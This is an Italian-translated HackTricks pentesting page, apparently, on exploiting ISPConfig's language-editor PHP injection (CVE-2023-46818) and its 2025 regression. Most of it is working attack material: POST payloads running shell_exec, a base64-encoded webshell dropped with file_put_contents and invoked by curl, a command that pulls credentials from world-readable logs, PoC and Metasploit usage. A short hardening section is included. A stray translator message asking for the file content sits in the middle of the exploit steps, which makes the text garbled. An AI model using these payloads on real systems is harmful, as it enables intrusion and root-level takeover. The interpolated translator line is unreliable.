ISPConfig

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Panoramica

ISPConfig è un pannello di controllo hosting open-source. Le build più vecchie 3.2.x includevano una funzionalità dell’editor dei file di lingua che, se abilitata per il super amministratore, permetteva l’iniezione di codice PHP arbitrario tramite un record di traduzione malformato. Questo può portare a RCE nel contesto del web server e, a seconda di come PHP viene eseguito, all’escalation di privilegi.

Percorsi predefiniti principali:

  • La web root si trova spesso in /var/www/ispconfig quando viene servita con php -S o tramite Apache/nginx.
  • L’Admin UI è raggiungibile sul vhost HTTP(S) (a volte vincolato solo a localhost; usare SSH port-forward se necessario).

Suggerimento: Se il pannello è vincolato localmente (es. 127.0.0.1:8080), effettua un forward:

ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Language editor PHP code injection (CVE-2023-46818)

  • Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
  • Preconditions:
  • Login as the built-in superadmin account admin (other roles are not affected according to the vendor)
  • Language editor must be enabled: admin_allow_langedit=yes in /usr/local/ispconfig/security/security_settings.ini
  • Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context

References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.

Manual exploitation flow

  1. Apri/crea un file di lingua per ottenere i token CSRF

Invia una prima POST per inizializzare il form e analizzare i campi CSRF dalla risposta HTML (csrf_id, csrf_key). Percorso di esempio della richiesta: /admin/language_edit.php.

  1. Inietta PHP tramite records[] e salva

Invia una seconda POST includendo i campi CSRF e un record di traduzione maligno. Probe minimi per esecuzione di comandi:

POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Test out-of-band (osservare ICMP):

records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. Creare file e inserire una webshell

Usa file_put_contents per creare un file in un percorso raggiungibile via web (es., admin/):

records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

Quindi scrivi una semplice webshell usando base64 per evitare caratteri non validi nel POST body:

records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

Non ho il contenuto del file. Per favore incolla qui il testo di src/network-services-pentesting/pentesting-web/ispconfig.md e lo tradurrò in italiano mantenendo esattamente la stessa sintassi Markdown/HTML e le eccezioni indicate.

curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

Se PHP viene eseguito come root (ad esempio tramite php -S 127.0.0.1:8080 avviato da root), ciò comporta immediata root RCE. Altrimenti, si ottiene esecuzione di codice come utente del web server.

Regressione 2025 (ISPConfig 3.3.0 / 3.3.0p1)

Il bug dell’editor della lingua è riemerso in 3.3.0/3.3.0p1 ed è stato corretto in 3.3.0p2. Le precondizioni non sono cambiate (admin_allow_langedit e login admin). Lo stesso patch ha anche risolto un XSS nel monitor e i log ruotati leggibili da tutti.

Note:

  • Su 3.3.0/3.3.0p1, i log ruotati leggibili da tutti sotto /usr/local/ispconfig/interface/log/ possono leakare le credenziali se il debug logging era abilitato:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
  • Exploit steps corrispondono a CVE-2023-46818; 3.3.0p2 aggiunge controlli extra prima della modifica della lingua.

Python PoC

Un exploit pronto all’uso automatizza la gestione dei token e la consegna del payload:

Esempio di esecuzione:

python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Metasploit module (released July 2025)

Rapid7 ha aggiunto exploit/linux/http/ispconfig_lang_edit_php_code_injection, che può abilitare automaticamente admin_allow_langedit se l’account admin fornito dispone dei diritti system-config.

use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run

Il modulo scrive un base64-encoded payload tramite records[] e lo esegue, ottenendo un PHP Meterpreter o un custom payload.

Indurimento

  • Aggiornare a 3.2.11p1 o successiva per il problema originale, e a 3.3.0p2 o successiva per la regressione del 2025.
  • Disabilitare l’editor della lingua a meno che non sia strettamente necessario:
admin_allow_langedit=no
  • Evita di eseguire il pannello come root; configura PHP-FPM o il web server per ridurre i privilegi
  • Applica un’autenticazione forte all’account integrato admin

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks